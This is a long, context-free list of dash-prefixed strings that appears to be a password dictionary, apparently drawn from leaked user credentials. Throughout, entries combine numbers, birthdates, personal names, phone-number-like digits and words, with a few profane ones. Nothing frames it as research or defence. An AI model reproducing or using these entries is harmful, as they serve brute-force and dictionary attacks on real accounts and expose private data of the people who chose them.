-07799456882 -07801075897 -078030 -07803921075 -078050 -07808926 -078090599 -07810607167 -07811 -07812381014 -07814955027 -07815601698 -078171 -07818016352 -07821 -0782100084 -078212592 -0782421008 -0783 -07831505 -07833tobias -07836947 -0784045927 -078407 -078456j -0784fr -078520225 -07853190630 -07855712672 -078557868 -07858615at -0786 -0786122581 -0786519102 -07865741430 -07866614074 -07870385778 -07870650604 -07870dd1 -07874260406 -07876372475 -078791 -07879416215 -0788 -0788652946 -07887512164 -0788773 -0789 -07890041046 -07891532168 -0789159 -0789456 -0789789 -078998 -0789demi -078o1nlL -07903597229 -07904042122 -07904174892 -079045dc -07905145738 -079096 -0791 -07910791 -07910791lora -0791331725 -0791angarano -0791greg -07921973 -079246 -07928577109 -07931444380 -07931912932 -07931MARTYN -07939660063 -0794 -079425025 -079447917 -07947574002 -07951200 -07951200478 -0795282525 -07955280625 -07956 -0795602872 -079586 -0796090542 -07964 -07967909462 -07968142838 -0796860794 -0796dd1c -0796marcin -079704210 -0797078936 -07971723556 -07974725963 -0797837687 -07979227334 -0798 -07980200281 -07980798 -07984115327 -07990172j24 -079905 -07992307 -07994208106 -0799995301asos17 -079c3gcc -079df87a -079kiet -079pst -07>Ix -07BuKin586 -07ChAmPs04 -07D5CIe9 -07David -07FrGr2005 -07GtInZeD -07HEAVEN -07Jujurib -07KHphTh95 -07Knuffimaus -07LAK1 -07N93e90 -07NhblwfnM -07RoCkEr92 -07Sawah -07SwArZ06 -07Uoa8Oy -07VALENTINA07 -07VRIB -07VsFh8E -07] -07af83r9 -07anestis12 -07ap90thth -07ariana -07as4Zk -07asukalover -07au1Zs -07aug1989 -07aug94 -07b1f5caaf -07balticca -07barabaka32 -07bauduco79 -07bill12 -07bioklams -07bridgit -07brunosuzy -07c2644 -07cave1x -07cf0264 -07chars -07checkmate -07ci8dkcowru -07d4rkd3vil -07daemocles -07datiko1979 -07dec84 -07diablo223 -07dimension12321 -07dimes -07dionesght -07druckernok -07ee77e76c6ce57 -07emmakemmak -07enb9gprz4ybc -07estrella -07f1r3spray -07f96q -07fBMW5A -07febbraio2007 -07fischerT7 -07fishes! -07fr0zenmutu1 -07franiu22 -07garth -07gatelkuro -07girish1993 -07globetro -07grd -07haller147 -07hamwD07 -07hgH36642 -07holger001 -07hundjupp -07igo-go -07ixggkra3 -07jessie01 -07jgFIx767 -07joyvev -07kate06 -07kate24 -07kevin07 -07kiemmadocco -07krlizbtgs -07lajiri917 -07lampone09 -07lexmark8080 -07liberty -07limbrici -07ltGldw -07m28067 -07ma12la71 -07madarchod -07manu07 -07manuelakira -07mars1986 -07mathe-.- -07maxi4711 -07merr1qu3 -07mikra87 -07molly107 -07msalocin -07n1971gse -07newjapan3 -07nikejoel23 -07nilbuk54 -07novem89 -07nxtshocker -07oakkao -07ow5yv6w -07pa1u2lo3 -07paaarola -07pacheco1978 -07pass8289 -07pctsol -07pupse11 -07ra13 -07ramgad12 -07roma56 -07russbusch -07satyricon666 -07secilsecil -07setdom69 -07skamandryci00 -07skan923 -07skinhead -07stinky -07success -07teamotatiana -07tennisboll -07thanksfady -07tirtitu -07tonio -07tonyo8900 -07track -07u4k8y9h9 -07uAysV343 -07vKDlBH -07wamonika26 -07wfias -07windows16 -07wm78742 -07x06j89u -07xaver10 -07zwerg1005 -08 -08* -08+- -08-03 -08-2-5931 -08-D-HOW -08-M-DM03 -08-Sep-60 -08-jun-78 -08.02.RH -08.07.92 -08/02/1991 -08/11/03 -08/12210588 -08/15ubuntu -080000 -080007 -0800101515 -080013 -080015 -08002 -0800309002 -0800313131 -0800342596 -080037545459 -08004clown -08006 -0800616161 -08006344025 -080077888 -08008454641 -0800pablo -0800reverse -0800toyota -0800tuig -0801 -0801020037 -080103 -080104 -080105 -080106 -080107 -080108 -08010801 -080115011 -08011935 -08011961 -08011969232415 -08011979 -08011982 -08011985 -0801204448 -080167 -080170 -080173baby -080173mas -080174 -080175 -080176 -080179k70946 -080180 -080180A61617 -08018181 -08018330 -080184 -080185 -080186 -080187 -080188 -080189 -080190 -080191 -080192 -080193 -080194 -08019413 -080198 -0802 -080203 -080205 -080206 -080207 -080208 -08021964 -08021970 -08021978 -08021979 -08021981 -08021982bs -08021983 -08021983APW -08021984 -080219840ai -08021986 -08021987 -08021989 -08021991 -08021991xp -0802199414 -080219950eqe -08021999 -0802261262 -080235 -08023960 -080244 -0802459347 -080251 -080258 -08025948999 -080260 -080262ulrich -080265 -080272 -0802743349 -080274cibdu -080277lazarus -080279 -080280 -080280H50520 -080281 -0802811 -080283 -080285 -080286 -080287 -080288 -080289 -080290 -080291 -080292 -080292190391 -080293 -080294 -0802972301808 -080298 -0802Hester -0802Mikey -0802aStOr -0803 -0803,arvin -080300 -080302 -080303 -080304 -080305 -08030592219 -080306 -080307 -080308 -08031969 -08031974k.lvbkf -08031980 -08031982 -08031985 -08031989 -08031991 -08031996 -08031997 -08033849375 -08034009567 -080356s61228 -080366prnip -080378 -080379 -080380 -080382 -080383 -080384 -080385 -080386 -080386radomir -080387 -080388 -080389 -080390 -080391 -080391123789 -080392 -080393 -080394 -080395 -080395.b -080396 -080398 -0803rd71 -0804 -080401 -080403 -080404 -080405 -080406 -080407 -080407616569 -080408 -080416 -08041612 -08041949 -08041974 -08041980ss -080419908860 -08041992 -080440 -080450mjb -080455 -080458131106 -08046103 -080464 -080465 -080468 -080470p -080472 -080473 -080475 -080475go -080476 -080478 -080479 -080480 -080482 -080483 -080484 -080484cj -080485 -080486 -080487 -080488 -080489 -0804892006 -080490 -080491 -08049169 -080492 -080493 -080494 -080495 -080496 -0804LUCAS -0804raudi -0804simona -0805 -080500 -080501 -080503 -080504 -080505 -08050513 -080505nicholas -080506 -080507 -080508 -080512 -080518 -08051950apes -08051956 -08051961 -08051978 -08051979 -08051984 -08051988 -08051990 -08051993 -08051994dani -08051995 -08052007 -0805274808 -080555 -0805567441 -080562 -080564 -080571 -080578 -080578v -080580rh -080581 -080581staszek -080582 -080583 -080584 -080585 -080586 -080587 -080587pl -080588 -080589 -08058AMI -080590 -080591 -080592 -080592716 -080593 -080594 -080595 -080596 -080596d -080597 -0805Fr@s -0805jennifer -0805lisa1988 -0806 -080600 -08060250sk -080603 -080604 -0806040200oxi -080605 -080606 -080607 -080608 -08060806 -08061926chocho -08061944 -08061954 -08061965 -08061974 -08061976 -08061979ab1 -08061986 -08061988 -08061989 -08061990 -08061991 -08061993flo -08062412 -080658 -080659 -0806692262 -080672 -080675 -080676 -080679virginia -080681 -080682 -080683 -080684 -080685 -080686 -080687 -080688 -080688Cl -080689 -08068922 -080690 -080691 -080692 -080693 -080694 -080697 -0806985302116 -080699 -0807 -080701 -080704 -080705 -08070523 -080706 -080706tino -08070zam -08071957 -08071973Hans -08071977 -08071984Ck -08071985 -08071986 -08071987 -08071988 -08071989 -08071992 -08072006 -08073166814 -080753 -080759 -080764 -080772 -080773 -080774 -080780 -080781g72218 -080783 -080783388 -080784 -080785 -080786 -080787 -080788 -080789 -080790 -080790j87 -080791 -080792 -080793 -080794 -080795 -0807rom92 -0808 -080801 -080802 -080803 -080804 -080805 -080806 -08080688 -080807 -080808 -08080808 -0808080808 -080808ij -080808mp -0808168k -08081975 -08081978 -080819854 -08081987 -08081988 -08081990 -08081990lol -08081993 -08081994 -08081995 -08081996eugen -08081996kuba -08081998 -08082001 -080833 -080848 -080860 -080865 -080867 -080869 -080870 -080871 -080874 -080875 -080876 -080878 -080879 -080880 -080881 -080882 -080883 -080884 -080885 -080886 -0808866 -080886darias -080887 -080888 -08088874 -080889 -080889brs -080890 -080891 -080892 -080893 -080894 -080895 -080896 -08089636 -080898 -080899 -0808mnqute -0809 -080900 -080901 -080902 -0809021 -080903 -080904 -080905 -080906 -08090604 -080907 -080908 -08090802 -08090809 -080908j -0809124 -08091966 -08091970 -08091971 -08091973 -08091977 -0809198030091945 -08091981 -08091988 -08091989 -08091993 -08092002 -08092007 -080925 -08092624 -08092912 -080932 -0809449 -080965 -080971 -080972 -080973 -0809759891 -080977 -080979 -080980 -080981 -080982 -080982sr -080983 -080984 -080985 -080986 -080987 -080988 -080989 -080990 -080991 -080992 -080993 -080994 -080995 -080996 -0809oskar70 -080yeRo89l -081000 -081002 -081005 -081006 -081008 -081010 -081013lexa -081018 -08101966 -0810196906041978 -08101977 -08101980d -08101980lenchik -08101984 -08101987 -081019973 -0810228451 -081025 -081030 -0810522164 -081052hk -081059 -0810602815 -081063 -081070 -081075 -081076 -081078 -081079 -081081 -081082 -081083 -081084 -081085 -081086 -081087 -081088 -081089 -081090 -081091 -081092 -081093 -081094 -081095 -0810hp -0811 -081101 -081103gaia -081104 -081105 -081106 -081107 -081109 -0811112130 -08111962 -08111976 -08111981 -08111989 -08111992 -08111992r -08111DC -081124 -081152 -081155 -081157 -081159 -081173 -081173mskitty -081174 -081175 -08117725 -081177S70210 -081178 -081180 -081181 -081182 -081182211932 -081182935006 -081183 -081184 -081185 -081186 -0811866 -081186chebr -081187 -081188 -081189 -08118921 -081190 -081191 -081191rs -081192 -081192lf -081193 -081194 -081195 -081196 -0811978MM! -081198 -0811999303 -0811ASTRID -0811gotan -0811gotan75 -0812 -081200 -081201 -081202 -081204 -081205 -081206 -081207 -08120812 -08121963 -08121977cw -08121982 -08121983 -08121984 -08121985 -08121988 -08121989 -08121993 -08121993sova -08121994 -08122003 -081227283905 -0812345678bn -081240 -081241 -081250 -08125053498 -081251 -0812568jd -081264 -081266 -081269 -081269w -081271939111 -081273 -081275 -08127612 -081277 -081279 -081280 -081281 -081282 -081282aMule -081283 -081284 -081285 -081285m -081286 -081286bb -081286i -081287 -081288 -081289 -081290 -08129032633 -081291 -0812912 -081292 -081293 -081294 -081295 -081295kjf -081298 -0812david -0812mf -0812ro -0813 -081300 -081303 -081304Ej -081305 -081306 -081314 -081315400699 -081328 -081336121931 -081340000300 -0813403888 -08135ariel -08136281657 -081365hc -081367 -081377d -081378 -08138 -081380 -08138569 -081386 -081388 -081389 -081391 -0813914744 -081394c -081397081397 -0813an -081404 -081405 -081406 -08140815dm -08141831 -08141979 -08142022 -081421 -081422 -081451 -08147742vd7x -0814780305 -081487 -081488 -081489 -081490 -081492 -081494ib -081499 -0814e497 -0814osso88 -0815 -0815-magyar -08150479di -08150815 -08151 -08151020dp -081517101988 -0815182205217 -08151988 -08152775-a -08154711 -081547110815 -08157799 -081586 -081587 -081588 -081589 -081590 -081591 -081592 -081595 -08159927967 -0815Buch -0815TDIe -0815Tanne29 -0815bunny03 -0815diane -0815jens4711 -0815moinsen -0815platt63 -0815pointerman -0815roho -0815rrvv -0815ubuntu0815 -0815ulilila -0815umaga -0815wargestern -0815wtf -0815xyz -0815zz -081602 -081606 -0816081 -081624 -0816243242 -08163122 -081662 -0816686065 -081669 -081687 -081688 -081689 -081690 -081691 -081692 -0816a -0816bc -0816jh -081706 -081706592 -08170817 -08171950 -08171985 -081725 -08172530 -0817319067 -081745 -0817472341 -081748 -081755 -081759 -081761 -081780 -081782 -081784 -0817848 -081787 -081788 -08178892 -081789 -081790 -081791 -0817931519 -081796 -081805 -081806 -081807 -08181954 -08181981 -08182527 -081828 -081864 -081873 -0818749049 -0818795338 -081884 -081887 -081888 -081889 -081890 -081892 -081897 -081898 -081902 -081903 -081905 -081906 -08190821 -08191955 -08193055 -081951 -081952 -081953731661 -081954 -081955 -081961 -081962 -081964 -081970ldpss -081973 -0819736883 -08197615 -081977 -081978 -081981 -081982 -081983 -081984 -081985 -0819857872 -081986 -081987 -081988 -081989 -081990 -081991 -081992 -081993 -081994 -081995 -0819kh -0819max -081R$ -081XLR -081lui58 -0820 -0820*gfu -08200 -082000 -082001 -082002 -082003 -082003adnyl -082005 -082006 -082007 -08201972 -08201973paolo -08202004 -082044 -082082 -082085 -082087 -082089d -082090 -082091 -082092 -08209aw60815 -08209aw62111 -0820zero -0821 -082102 -082104 -082105 -08210522 -082106 -08210821 -0821132726 -08211877460 -08212832066 -082156 -082159 -082162 -082168 -082169100102 -082170 -082184 -082185 -082186 -082187 -082188 -082189 -082190 -082191 -082193 -082194 -082195 -082199 -082200 -082201 -082205 -082206 -082213 -0822627008 -082269 -082271 -082284 -082285 -082287 -082288 -082289 -082290 -082295 -082302em -082303 -08230504 -082306 -08231216 -082369 -082374 -082379 -082387 -082388 -082389 -082390 -082391 -082392 -082393 -082396 -082399 -0823ross -0824 -082400 -082401 -082402 -082407 -08241986 -0824291219 -0824314886 -082457as -082483 -082485 -082487 -082488 -082489 -082492 -082494 -082495 -0825 -082500 -082501 -082502 -082503 -082506 -082508 -082511001 -082513 -0825168362 -082531 -08254418 -082561 -082566 -082571 -082574 -082584 -082586 -082588 -082589 -082590 -082591 -082592 -082593 -082595 -082596 -0825fans -0826 -082601 -082603 -082605 -082606 -082613011 -082618 -08261982 -082625 -082673 -082682 -082683 -082686 -082687 -082688 -082689 -082690 -082691 -082696 -082698 -082700 -082701 -082705 -082706 -08271975 -082746 -082772 -082776 -082782 -082784 -082787 -082788 -082789 -082790 -082791 -082792 -0827matt -082802 -082804 -082805j -082806 -082808 -08281410 -08281959 -082822 -082825 -0828786200 -082880 -082886 -082887 -082888 -082889 -082890 -082891 -082892 -0828poldi55 -0829 -08291982 -08291997 -082959krs -082960A -082986 -082987p -082988 -082989 -082990 -082991 -082992031 -082KIross1 -082c09bb -083002 -083003 -083026Pia -083060 -083061 -083079l -08308155 -083087 -083088 -083089 -083090 -083091 -083092 -083100 -08311984 -083142 -083158 -083165 -083169 -083174 -083177 -083178 -083179 -083186 -083187 -083188 -083189 -083189007ctvm -083190 -083191love -083192 -083193 -083197 -0831MB8 -083225630 -0833157 -08332492665 -0833288 -0833836576 -083390 -0834 -083423 -0834447804 -0835085075 -0835648897 -0835728198 -083606 -083640194 -08364180 -0836474161 -0836807 -0837 -0837164443 -0837851672 -0838119927 -083860 -083d50b0 -083m4nr35u -0840152559 -0840701896 -0841194147 -084231 -0842SUf -08431 -084311 -084328361 -0843759076 -0844544828 -0844711545 -08448227 -08451424000 -0847798015 -08479dfc7b -084803049 -0848358531 -084959392999 -0849gl -084ccc -0850078939 -08500850 -0850096557 -0850103531 -0850267234 -085063revo -08509122 -0851 -08510125562 -0851229801 -0851269089 -0851977 -0852 -08520852 -085231 -085245560813 -08525 -0852699172 -085277096277 -085278206146 -08529 -0852a -0852en -0853774588 -0853d2fc -0854910755 -0855 -085501 -0855015188 -08550855 -0855181819 -08552910 -0855547333G -085622 -085631 -08563250772 -085643258292 -085643884487 -0856555 -085656224287 -08567277091 -0856junior -08571221436 -085724280132 -0857298600 -085733121596 -0857350775 -085736676209 -0857783591a -085793 -08581284 -0858213469 -085829aa -0858400087 -085842 -0858422957 -0858834360 -08588450 -08590859 -08591703 -08593058 -0859563200 -085991 -0859fa8f5069859 -0859mah -0860320711 -0860928226 -0861104290 -0861165540 -0861230991 -0861301 -086139 -0861a66 -086246DJ -08627 -086271 -0862908316 -08630863 -08634370012 -086353323 -0864 -08642029 -0864208alia -0864213579 -086432061 -08644680 -086547 -0865571244 -0865811215 -0866216692 -0866767402 -08674232 -08685830 -0868808991 -0868831121BB -086921 -0869277341 -0869440548 -086975086975 -0870014 -0870210159 -0870832511 -0871 -0871044463 -08711315 -0871213950 -0871330027 -0871744735 -0871779365 -0871lidl -087200els -0872159381 -0872365700 -087248ac -0872776283 -0872808858 -0872869195 -0872898321 -0872999737 -0873165220 -087339978 -0874067810 -08740874 -087529 -08753308 -08756198 -087614510 -08763832 -0877275810 -0877879891 -0878 -087828250206 -087838364668 -087839356461 -08786349 -0879563 -0879702685 -0880 -0880506 -088052 -0880fuckyou -0880poul -0881 -0881034 -08811529 -0882 -088201qs -088208 -08820882 -0882242087 -0882242435 -0883 -088348627 -0883561437 -0884230 -0884962657 -0884bdox -088517682 -0885258 -08854w -088568 -0885A35E79 -08861datura -088630688 -088673 -0886832751 -0887 -08872bmm -0887481409 -088776443 -0887949570 -0888 -0888489911 -088868422 -088888 -0889067520 -08890889 -0889450835 -088952857 -0889627222 -08896493 -08899529 -0890026038 -089022 -08903087 -089089 -0890f28d -0891 -0891114anavrin -089123456 -0891505050 -0892651321 -0892820778 -0893 -0893333 -08934973 -0893552 -089383 -08938420 -0893viethanguyen -0894186192 -0894341863 -089451 -089516consti -0895199089 -0895301804 -089534 -0895550536 -0895674124 -0895900933 -0896075470 -0896252624 -0896656809 -089672 -089689 -0896937302 -0896996444 -0897 -089700 -089708 -089786sony -08978888 -0898 -089800 -089807725 -0898306189 -089843681 -08984436 -0898b4b3 -0899 -08990302404 -089908 -0899357035 -0899exposito -089cpa2 -089kitszon7 -08Adav54 -08Amilo15 -08Anna1705 -08CtitF982 -08DL1150A -08GearsOfWar2 -08Geilheit06 -08Goldkitten30 -08H6OoE7 -08JTIkt -08JUILLET1962 -08Jose1070 -08KH51WBH -08Kloine16 -08PSPslim08 -08Pa!ste85 -08QLUPvq -08Sebastian22 -08StephLyon -08TREBOR19 -08V82XS713 -08Vierlinden -08Yhang14 -08Yxcvbn -08a907 -08aa1980c10 -08affliction19 -08alinafaunce -08anoham -08ara_1! -08army8906 -08b9WxZE -08baby17177 -08bat67 -08bbbcbd -08blues -08bramcotelorne -08brit -08brunonb78 -08bubbacici -08bumtarat -08c17sra -08c2ev -08canel&2005 -08ceho02 -08chap -08chrisvin1234 -08chs0804 -08cleo22 -08conny8283 -08cwen15 -08cydcyd123 -08d09j90 -08dapeldopf1988 -08darkdavil -08darwin_42 -08detronic14 -08diciembre -08dora1803 -08dundee15 -08efd8609f -08elreytomi -08eo?Tk -08eraser20 -08eternity1990 -08f4fd -08f56542 -08f59757 -08fYSW1S -08febbraio -08fev70 -08fouad075 -08fp4205763 -08fra60 -08frr9413 -08gar1974 -08gayisgay -08gipa2002 -08gru50leg -08happyyo1984 -08haustier1 -08hiroschima -08hmlfmn -08hungabunga -08hurricanets -08i06i1975 -08ipin -08iw4nn4l0v3 -08jaedwards1218 -08jakisexy -08janvier2002 -08jb5113jb -08jonathan68 -08jsbirene -08juanito -08k1Y5O68 -08kMjecy -08kairo6000 -08kappamikey296 -08kiro -08kukaskukas -08kurmic88 -08l2bnwdw -08linde61b -08listopad1998 -08loldude123 -08lunita135 -08luzyfer15 -08makbs1986 -08me052481 -08meg82 -08mf05cf04 -08mieamkse -08mike6387 -08minymel5 -08mneK15 -08municall -08must_860 -08mw44 -08o -08oktober1983 -08oliver023 -08oranges-P -08oskar0970 -08pOTOoD -08pawtiger -08pb03bc7108 -08pepper1697 -08qVRx -08quowadis -08rdoebel -08ribbit12 -08ronnia13 -08s113 -08s3x82mrk -08sarato934 -08saskia100 -08schluessel70 -08scooter -08shoekid1 -08slk12682 -08sofurious -08spluf5 -08spoon -08squidface13 -08steff11 -08stephanie420 -08t36a15b -08t3Vd1l -08telPw09 -08tessarack -08thebabe08 -08tina-3202 -08tomek071993 -08trust2110 -08utqj12x -08volleyball -08w2bTwq -08willehans -08winX727 -08wlgivens12 -08xlukaszx12 -08xwnY9o -08xx030995 -08y5711577 -08yQQOz -08yTKTA -08yYsv -08z1265978 -08z6rules -08{GN2[ -09 -09!123 -09# -09#M3E} -09-potibo- -09.03.85 -09/12/73 -0900 -09000 -09001919 -090031874 -090071 -09007133 -09009 -0900wotlk8200 -0901 -090100 -090101 -090102 -090104 -090105 -090106 -090107 -09011190 -09011960 -09011969 -09011981 -09011987 -09011989 -09011989k -09011996 -090135543 -090153288 -090166 -090167 -0901710104 -09017516238 -090176ZHDANOV -090178 -090178d -090179 -090181 -090181p31118 -090182 -090182abc -090183 -090184 -090185 -090186 -090187 -090188 -090189 -090190 -090191 -090192 -090193 -090194 -090200 -090201 -090202 -090205 -090206 -0902062090pm -090207 -090208 -090209 -0902092934 -09021963michi09 -09021977 -09021979 -09021986 -09021991 -09021995 -09021998 -090244 -090247 -090258k31310 -090262 -0902659356 -0902666 -090267 -090267/s -090268 -090277 -0902791213 -090280 -090281 -090283 -090284 -090285 -090285d -090286 -090287 -090288 -090289 -090290 -090291 -090292 -090293 -090294 -090295 -090299 -0902HOM -0902josue -0903 -090301 -090304 -090305 -090306 -090307 -09031957 -09031970 -09031972 -09031979 -09031981 -09031983 -09031985 -09031986parma -09031988 -09031989 -09031990Jen -09031991 -09031993 -09031995piotr -09031995piotrek -09031996 -09031999 -09032002 -090341 -09035657 -090360 -090361 -09036440 -090367 -090370sven -090373 -090377 -0903782216 -090380 -090381 -090383 -090384 -090385 -090386 -090387 -090388 -090389 -09038912218 -090389tomek -090390 -090390relyt -090391 -090392 -090393 -0903cfc -0904 -090400 -090403 -090404 -090405 -090406 -090407 -090414 -0904145 -0904156933 -09041968 -09041976 -09041985 -09041986 -09041991 -09041992 -09042002 -0904201 -0904488 -0904549255333 -090460 -090472 -090474 -090478 -090479 -09047932219 -090480 -090481 -090481l41722 -090482 -090483 -090484 -090485 -090486 -090487 -090488 -090489 -090490 -090491 -090492 -090493 -090494 -090495 -090496 -090497 -090498 -090499 -0904olli75 -0905 -09050116 -090503 -090504 -090505 -090506 -090507 -090508 -09051979 -09051980 -09051987 -09051989 -09051990 -09051992 -09051998 -09052 -09052009 -0905217885 -090548 -09055 -090553 -090557g32911 -090557gr -090558 -090558mld -090567890k -090574 -09057457181 -090575 -090576 -090579 -090580 -09058018 -090582 -090583 -090584 -090585 -090586 -090587 -090588 -090589 -090590 -090591 -090592 -090593 -090595 -090595jv -0905mat -0905mati19 -0905mon -0906 -090600alex -090601 -090602 -090603 -090603l -090604 -0906040cedric -090606 -090607 -090608 -09061973 -09061980 -09061982 -09061986 -09061986fcb! -09061987 -09061988 -09061990 -090630 -09063023 -090653 -090656 -090661 -090667947 -090674 -090680 -0906807 -090681 -090682 -090683 -090684 -090685 -090686 -090687 -090688 -090689 -090690 -090691 -090692 -090693 -090694 -090695 -090695wuppertal -090697 -090699 -0906lukiy06 -0907 -090700 -090703 -090705 -090706 -090707 -0907172528 -09071959 -09071961 -09071970 -09071979 -09071980 -09071981 -09071985 -09071986 -09071988 -09071989 -09071991 -09071993 -09071996 -09072003leeny -090729 -090740052769 -090751 -090760 -090765 -090771 -090778 -090779 -090779l62915 -090781 -090782 -090783 -090784 -090785 -090786 -090786ac -090787 -090788 -090789 -090790 -090790cel -090791 -090792 -090793 -0908 -090801 -090803 -090804 -090805 -090806 -090807 -090807a -09080908 -09081937 -09081962 -09081975 -09081977 -09081980 -09081983 -09081986 -09081989 -09081992 -09082912 -090855 -0908663619 -090867 -090875 -09087533316 -090875a -090876 -090880 -090881 -090883 -090884 -090885 -090886 -090887 -090888 -090889 -090890 -090891 -090892 -090893 -090894 -090895 -090897 -090899 -0908cuong -0908eki09 -0908jh -0908pier -0909 -090900 -090901 -090902 -090903 -090904 -090905 -090906 -090907 -090908 -09090808 -090909 -09090909 -090909090909 -090909kh -09090ggg -090910 -09091088 -0909109091 -09091257 -09091618 -09091893 -09091961 -09091972 -09091975 -09091978mvg -09091981 -09091982 -09091983 -09091985 -09091986 -09091987 -09091988 -09091989 -09091992 -09091996 -09092000LENA -090938 -09094558562 -090951 -090965 -090968 -090976neubauten -090977 -090978 -090978b -090979 -090980 -0909809809-80 -090981 -090981a -090982 -090983 -090983silver -090984 -090985 -090986 -090987 -090988 -090989 -090990 -090991 -090992 -090993 -090994 -090994bruno -090995 -090996bruno -090996nosbor -0909970689 -090999 -0909990 -0909amples -0909deedom -090Rwcw863 -0910 -091001 -091003 -091004 -091005 -091006 -091007 -09100910 -091011 -09101306 -09101968 -09101971emi -09101976 -09101980 -09101982j -09101987 -09101989 -09101990 -09101991 -091020 -091031 -09104559934 -091047 -091050 -091075 -091080 -09108046125 -091081 -091082 -091083 -091084 -091084098 -09108485fl9 -091085 -091086 -091087 -091087octo -091088 -091089 -091090 -091091 -091091ba -091092 -091093 -091094 -091095 -09109798 -091099 -0911 -091101 -091102 -091103 -091104 -091105 -091106 -091107 -09111 -09111403 -09111966 -09111967akds -09111968 -09111972 -09111975 -09111977 -09111978 -09111988 -09111989 -09111990 -09111992 -091120 -09112001 -09112002 -09112003 -091129 -09113071 -091142 -091156a -091160mama -091162 -091166 -091171 -091173w6v9 -09117488 -091175 -091177 -091180 -091180h32435 -091180h32436 -091181 -091182 -09118293 -091183 -091183g40723 -091184 -091185 -091186 -091186484 -091187 -091187lgs -091188 -091189 -091190 -091191 -091192 -091193 -09119327610 -091194 -091196 -09119610 -091197 -091198 -091199 -0911gser77 -0911murf -0912 -091201 -091202 -091202internet -091203 -091204 -091205 -0912052 -091206 -091207 -09120723 -09120912 -091209aa -091212 -0912135123 -09121973ab -09121975 -091219832004q -09121984 -09121987 -09121988 -09121990 -09121991 -09121991max -09121996 -091220 -09122004 -09122036231 -0912237236 -0912241 -09122810391 -091230 -091234 -091234qwer% -091238 -091246478 -09125416924 -0912552 -091258117528099 -091263 -09126466014 -091266 -0912665628 -0912677857 -0912699425 -091272 -091273 -09127831 -091281 -091282 -091283 -091284 -091284291026 -091285 -091286 -0912864.,m -0912869 -091286du -091287 -09128734mad -091288 -091288a -091289 -091290 -0912907564 -091291 -091292 -091293 -091294 -091295 -091296 -091297 -091298 -0912@Romina -0912josef46 -0912vipernet50 -0913 -091303 -091305 -091309 -09131313 -091319 -09131993 -091320 -091320528645 -091321 -09132651579 -09133020081 -09133034308 -091352104294442 -091384 -091386 -091387 -091388 -091389 -091390 -091391 -091396 -0913mjvda -0914 -091406 -091407 -091411117 -09141988g -09141991 -09142002 -091422j -091426 -09143158981 -091438015 -091457 -091466 -091472 -091478 -091480 -0914815882767 -091483 -091485 -091487 -091488 -091489 -091490 -0914905151 -091493 -091496 -0915 -091506 -091510gil -09151103860 -091512 -091514 -0915159gokberx? -09151954 -091525 -09152706 -091528 -09153143015 -091536153 -09155048062 -09155496958 -091555pp -0915719224 -0915758808 -091582 -091583 -091584 -091585 -091586 -0915860664 -091588 -091589 -091590 -091592 -091594 -091595 -091597 -0915because -0915chai -0916 -091600 -091602 -091605 -091606 -091606aw -0916094oleg -091617306 -091629 -09164564 -091678 -091682 -091685 -091686 -091687 -091688 -091690 -091691 -091692 -091695 -0916953890bb -091697 -091699 -0916g -0917 -091700 -091705 -091705T -091706 -091717517401 -09171991 -09172547652 -091756 -09175633655 -091758727 -091760 -09176872 -091775 -091776 -091781 -091782 -091784 -091785 -091787 -091788 -091789 -0917898956 -091790 -091791 -091792 -091794 -09179928683 -0917Thermalt -0918 -091801 -091803 -091804 -091804117 -091805 -091806 -09180918 -091813 -09181981 -091820 -09182000 -09182001 -0918213753 -091827 -0918313632 -09183678163 -09184074114 -091846979 -0918548700 -0918559831 -09185822622 -0918642684 -091871 -0918765408 -09187778 -091880 -091884 -0918858953 -091886 -091887 -091888 -091889 -091890 -091890a -091891 -091892 -091894 -091899 -0918a07j -0918louisa21 -0919 -091901 -091903 -091905 -091906 -09190919 -09191850 -09191954 -09191967 -09191981 -09192580432 -091927547 -09192933641 -09193681 -091945 -091958720 -091969 -0919694929 -091970 -091974 -09197454423 -091975 -091976 -091977 -091979 -091980 -0919809 -091981 -091982 -091983 -091984 -091985 -091986 -091987 -091988 -091989 -091990 -091991 -091992 -091993 -09199320 -091994 -091995 -091996 -091998 -091999 -091bazzie1 -092.052.011.152 -092002 -092003 -092005 -092006 -09200681 -09201978 -09201989 -092043 -092049 -092050 -092051920055304 -092053 -09205801738 -092063144 -09207084443 -092072 -092078 -0920831009 -092084 -092085 -092086 -092087 -092088 -0920882 -092089 -092090 -092091 -092094 -092096 -092099 -092101 -092103 -092104 -092113masterc -09212002 -0921321209 -09214413339 -0921468994 -092151 -092151620 -09215494277 -092155 -092165 -092182 -092184 -092185 -092186 -092187 -092188 -092189 -092190 -092191 -092198 -0921jesussaves -092204 -092206 -0922066636 -092221 -09223862752 -0922440413 -09225azaz -092264 -092283 -092284 -092285 -092286 -092287 -092288 -092289 -092290 -092291 -092296 -092298 -0922hunter -0923 -092300 -092304 -092305 -092306 -092346mu0 -0923626 -092376 -092381 -092382 -092384 -092386 -092387 -092388 -092389 -092390 -092391 -092392 -0923o7 -0924 -092400 -092402 -092405 -092408246 -09241956 -09241968 -092461176 -092463 -092468 -092470 -092477 -092484 -092485 -092486 -092487 -092488 -092489 -092489loser -092490 -092491 -092492 -092493 -092498 -092500 -092503 -092504 -0925055863 -09250925 -09253174134 -0925539923 -092572 -092578 -092581 -092584 -092585 -092587 -092588 -092589 -092590 -092591 -092592 -092597 -092599 -092603 -0926148kunni -09261975 -09261980 -092621 -092659jw -092678 -09268377606 -092684 -092685 -092686 -092687 -092688 -092689 -092690 -092692 -09269293496 -092694 -092696 -0927 -092703 -092727 -09273681 -092746 -092748 -092764 -092767 -092777 -09277990279 -092786 -092787 -092788 -092789 -092790 -092791 -092791053 -092792 -092800 -092802 -092806 -092816 -09281990 -092823569 -092854 -09286382980 -09286647834 -092871 -092877991 -092882 -092883 -092886 -092887 -092888 -092889 -092890 -092891 -092892 -092897 -092898 -0929 -092901 -092904 -092906 -09291966 -09291975 -09291981 -0929580huligan -092967 -092970dp -092971 -092975 -092983 -092984 -092985 -092986 -092987 -092988 -092989 -092990 -092997 -092bed03 -092ooe198e -093000 -09301985 -09301989j06 -093025 -093040 -093045869 -093047 -09304966554 -09305603 -093062.moi -093081 -093084 -093087 -093088 -093089 -093090 -0930933352 -093095 -093099cj -09312310 -09318 -093205001 -0932469072 -0933 -09333435 -09340000 -0934qwantum -093525 -093531070 -093567 -093576 -0935777229 -09358009289 -09360112176 -093611360 -09363692005 -0936459188 -09366044874 -09366ge -093722082 -093726627 -0937272118 -093742874 -093746179 -093747190 -09375732889 -09376 -09376730968 -0937753630 -0938468340 -093942 -09395952991 -093a074a -093fBZF -093nihE -093pmqffff -094012 -094025 -094046 -094081 -09410122 